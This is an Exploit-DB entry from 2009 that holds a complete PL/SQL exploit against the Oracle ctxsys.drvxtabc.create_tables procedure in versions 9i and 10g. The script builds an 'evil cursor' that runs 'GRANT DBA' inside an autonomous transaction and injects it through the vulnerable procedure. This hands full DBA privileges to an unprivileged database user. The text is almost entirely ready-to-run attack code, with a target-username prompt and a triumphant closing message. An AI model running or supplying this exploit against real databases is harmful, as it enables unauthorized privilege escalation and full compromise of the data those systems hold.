Oracle ctxsys.drvxtabc.create_tables Evil Cursor Exploit

############################### # EDB-ID: 10266 # CVE-ID: () # Title: Oracle ctxsys.drvxtabc.create_tables Evil Cursor Exploit # Author: Andrea "bunker" Purificato # Published: 2009-12-01 # Download Exploit Code # Download N/A ############################### -- -- ctxsys.drvxtabc.create_tablesV2.sql -- -- -- Oracle ctxsys.drvxtabc.create_tables exploit (9i/10g) -- Evil cursor technique -- -- Grant dba permission to unprivileged user -- -- -- REF: http://www.google.it/search?q=ctxsys.drvxtabc.create_tables -- -- AUTHOR: Andrea "bunker" Purificato -- http://rawlab.mindcreations.com -- -- set serveroutput on; prompt [+] ctxsys-drvxtabc-create_tablesV2.sql exploit prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 prompt undefine the_user; accept the_user char prompt 'Target username (default TEST): ' default 'TEST'; prompt prompt [-] Creating evil cursor... DECLARE MYC NUMBER; BEGIN MYC := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0); ctxsys.drvxtabc.create_tables(''||user||'"."x" as select * from dual where dbms_sql.execute('||MYC||')=0--','x',2); END; / prompt [-] YOU GOT THE POWAH!!